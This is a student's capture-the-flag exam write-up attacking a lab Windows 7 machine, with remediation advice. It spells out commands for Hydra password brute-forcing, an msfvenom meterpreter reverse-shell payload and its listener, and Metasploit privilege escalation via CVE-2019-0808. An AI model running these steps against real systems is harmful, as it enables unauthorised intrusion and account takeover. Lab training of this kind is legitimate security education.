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1.0​ INTRODUCTION 

 
This belt exam consists of capturing two (2) flags, and takes place in a virtual environment utilizing Oracle 
VirtualBox. The Kali Linux Virtual Machine (Kali VM) is to be used to gather information on, enumerate, and 
exploit the target machine, which will be a Windows virtual machine given to you by your instructor. 

 

1.1 OBJECTIVE 

 
To obtain a Red Belt: 
 
The student will gain a shell with user level permissions.  The user shell must be a reverse shell connected to 
the student’s terminal, any type of web-based shell will not count.  The student will also capture the user flag, 
which will be located in the user’s desktop directory. This flag must be printed to the terminal with the students 
name in the same screenshot in order to receive credit.  The student will also complete all documentation as 
outlined in the documentation section below. 
 
To obtain a Black Belt: 
 
The student will gain a shell with permissions of root or system.  The root/system shell must be a reverse shell 
connected to the students terminal, any type of web-based shell will not count.  The student will also capture 
the root/system flag, which will be located in the root/administrator’s desktop directory.  This flag must be 
printed to the terminal with the students name in the same screenshot in order to receive credit.  The student 
will complete all requirements for the Red Belt, in addition to the requirements for the Black Belt.  

 

2.0 HIGH LEVEL SUMMARY 

 
 

This lab suggests the importance of making sure that machines are fully patched and updated. This would 
prevent the privilege escalation used to gain root access.   As a best practice, it is important to install all 
updates, patches, service packs and updated software to mitigate the risk of zero day attacks.  
 
CVE-2019-0808 is a zero day security vulnerability in this version of Microsoft Windows that affects Win32k 
components and allows an attacker to elevate permissions and execute arbitrary code in kernel mode. This 
could allow the hacker to take control of your computer and access your personal information, delete files, or 
install malicious software. If this Windows instance was updated with Service Pack 2, this exploit would not 
work. 
 
The other lessons learned include avoiding using common passwords and sharing any hints at passwords or 
usernames especially over clear text channels like email.  It is best to assume that all networks are 
compromised and should be treated thusly when sharing sensitive and unencrypted data.  Passwords like 



“qwerty12345” or “password” are on almost all common wordlists and are swiftly brute forced with readily 
available tools.  
 
If it is necessary to share login information, consider using a password manager to securely store the login 
information and generate a unique, secure password for each account. The password manager can then be 
used to share the login information with the intended recipient without having to send it through email. 
 
FTP is also an outdated protocol. FTPS is now considered to be the secure method for file hosting. 
 
 

2.1 RECOMMENDATIONS 

1. Change all passwords immediately and ensure that they are complex and unique.  
2. Run a complete virus and malware scan of the entire system.  
3. Update the operating system and all installed software to the latest version.  
4. Disable all unnecessary services, protocols, and ports.  
5. Harden the system by applying security settings and policies.  
6. Configure and enforce a strong access control policy.  
7. Implement two-factor authentication and/or multi-factor authentication.  
8. Regularly monitor all system logs and activities.  
9. Perform a detailed audit to identify any unknown malicious activities.  
10. Install a reputable security solution to protect against future attacks. 
 

 
 

3.0 ENUMERATION & INFORMATION GATHERING 

 
 

Because the machine is on our virtual NAT network, an nmap sweep of the subnet will find the machine’s IP. 
 
ifconfig will find the kali machine’s IP  
 
Nmap 10.0.2.15/24 to see what else exists on this subnet. 
 
A deeper nmap scan is done with the -A option to see a more comprehensive picture of what services are 
running on open ports. This option enables additional advanced and aggressive options. Presently this enables 
OS detection (-O), version scanning (-sV), script scanning (-sC) and traceroute (--traceroute).      However, 
because script scanning with the default set is considered intrusive, you should not use -A against target 
networks without permission.  Because this is within our scope and does not break any rules of engagement, it 
is a great tool to gather information in one pass. 
 
nmap 10.0.2.12 -A 
 



 
 
Several things of note come from this deep scan: 
-First we can see that FTP allows for anonymous login and is serving up a .txt file. 
-SSH is open and could allow for a shell which might allow for directory traversal and program execution. 
-HTTP is open, a website is possibly being served up. 
-MySQL has an open port and is running version 5.0.85 
-We can see that the machine is running Windows 7 Enterprise 7601 Service Pack 1 
-The computer’s name is “IE9WIN7” and is on “WORKGROUP” workgroup 
 
After seeing port 80 HTTP is open, a quick look in a web browser reveals this webpage.  While not a lot of 
information is being shared, the photographer’s name is revealed (“Matthew”) in the source code, which could 
hint at a username. 
 



 
 

 

3.1 PENETRATION 

 
 
By downloading the image (right click on image, Save As) on the web page and using a steganography 
cracking tool, Stegseek, it is revealed that this image contains an embedded file originally named “thoughts.txt” 
 

 
 
After analyzing this hidden file (cat pic1.jpg.out), we can see that the author of this file  has used a ROT13 
cipher to encrypt their password which is deciphered to “cybersecrocks”. The formatting of this txt file also 



seems to show “MATT” as a possible username which is spelled out in the first letter of lines 3, 4 & 5.  The 
author implies that these credentials can be used for FTP access. 
 

 
 
 
After a successful attempt to login to the FTP server using the found credentials, we see that there is an ftp 
flag and a pcap file.  
Ftp 
Open 
10.0.2.12 
Matt 



cybersecrocks

   
 
Analysis of the pcap file with Wireshark shows a clear text email communication suggesting a hydra password 
attack with the Rockyou.txt wordlist using the username of “Richmond.” I sorted the packets by length and the 
largest files contained clear text in the hex dump. By using the follow function, full emails with headers can be 
pieced together. 
 



 
 
Looking further through the pcap file, an email suggests that a user account (hahaha) and password (haha) 
may be viable through port 23 which is telnet.  
 
Telnet 10.0.2.12 
 



Using the credentials mentioned to log in to telnet, we find the telnet flag.

 
 
 
After switching to the directory that contains the rockyou.txt wordlist, Hydra makes extremely quick work of 
cracking this password which happens to be “password” 
Hydra -l Richmond -P rockyou.txt 10.0.2.12 ssh -t 4

 
After logging in through ssh, this file in the home directory seems important.   
Ssh richmond@10.0.2.12 
Password 
Ls 



Type notetorichmond.txt

 
  
Using the set pro command, we can see what kind of architecture is being used.  It was also possible to gather 
information on the users and groups from here. 
 

 
 





 

3.2 EXPLOITATION 

 
 
To create a reverse shell on this machine back to the attacker, we create a payload using msfvenom using a 
32-bit version as we have determined this is x86 architecture. 
 
msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.0.2.15 LPORT=4445 -f exe > shell-x86.exe 
 
Then upload it using scp and Richmond's credentials. 
 
scp shell-x86.exe Richmond@10.0.2.12:”C:/Users/richmond” 
 
Next a listener is started using the same configurations as the payload using msfconsole’s multi/handler. 
 
Search multi/handler 
Use 5 
Set lhost 10.0.2.15 
Set lport 4445 
Set payload windows/meterpreter/reverse_tcp 
run 
 
Within the SSH connection, the attacker can launch the payload. The listener then gains a meterpreter reverse 
TCP shell.  Meterpreter has various tools built in for further enumeration, info gathering, and exploitation, more 
on this later. 
 





 
 
After navigating to the directory “C:\Windows\Panther” and searching for the user “IEUser” within the 
“unatted.xml,” a base64 encrypted password can be seen.  With a quick decryption, the plaintext password is 
“qwerty12345.”  This is a serious concern as an attack vector for anyone with physical access to the machine 
as they will have immediate administrator level privileges.  One would want to implement some possible 
physical controls to layer in some risk mitigation i.e. door locks, surveillance. 





 
 
 

 

3.3 FURTHER ENUMERATION & PRIVILEGE ESCALATION 

The credentials for IEUser are not set up to be accessed through SSH or SCP. If it was, an attacker would 
have administrative access, allowing for modification of system files, creation of hidden user accounts to create 
persistence, and lock out users by modifying access or passwords. 
 
Using all of the knowledge we have gained thus far, several vulnerabilities might gain traction. Winpeas was 
installed for enumeration but unfortunately could not pick up much from the Richmond user position.  The 
“getsystem” command within meterpreter also proved to be ineffective.  
 
My approach was to take a step back and research for tools within Metasploit that may not necessarily be 
specific to this version of Windows.  After doing some research, this tool stood out as an excellent option 
because we have already satisfied the meterpreter session prerequisite for this tool. 
 
The Local Exploit Suggester within the Meterpreter shell gives these possible options for exploiting the 
machine in pursuit of privilege escalation from user level to NT AUTHORITY\SYSTEM. The Local Exploit 
Suggester (LES) is a tool in the Metasploit Framework that helps security researchers and penetration testers 
quickly identify and prioritize local privilege escalation vulnerabilities. LES automates searching for known local 
privilege escalation exploits and suggests the most promising ones based on the target's operating system and 
service pack level. It also provides useful information such as a description of the vulnerability, proof-of-concept 

https://www.infosecmatter.com/metasploit-module-library/?mm=post/multi/recon/local_exploit_suggester


code, and links to additional resources. The Local Exploit Suggester tool is available for Windows, Linux, and 
macOS. 
 
run post/multi/recon/local_exploit_suggester 
 

  
 
After trying the several different exploit techniques suggested, the “ntusermndragover” module proved to be 
successful. 
 
“This module exploits a NULL pointer dereference vulnerability in MNGetpItemFromIndex(), which is 
reachable via a NtUserMNDragOver() system call. The NULL pointer dereference occurs because the 
xxxMNFindWindowFromPoint() function does not effectively check the validity of the tagPOPUPMENU 
objects it processes before passing them on to MNGetpItemFromIndex(), where the NULL pointer 
dereference will occur. This module has been tested against Windows 7 x86 SP0 and SP1. Offsets within 
the solution may need to be adjusted to work with other versions of Windows, such as Windows Server 
2008.” CVE-2019-0808 
 
By using the session that we started with the original reverse TCP shell payload, we are able to gain 
NTAuthority/System privileges which allows for full directory traversal into the IEUser Desktop where the black 
belt flag is located. 
 

https://packetstormsecurity.com/files/157616/Microsoft-Windows-NtUserMNDragOver-Local-Privilege-Escalation.html


 
 
 
Using the hints about the second black belt flag, I did some digging in the program files of MySQL  and was 
able to navigate to the second flag  
 
 



 
 
 

 

3.4 HOUSE CLEANING 

 
To practice a “Leave No Trace” approach, the payload used to gain the reverse shell was deleted from 
Richmond’s home directory as well as all the other failed exploits and enumeration tools, ie winpeas. 
 
 
 
 
 
 
 
 
 
 
 


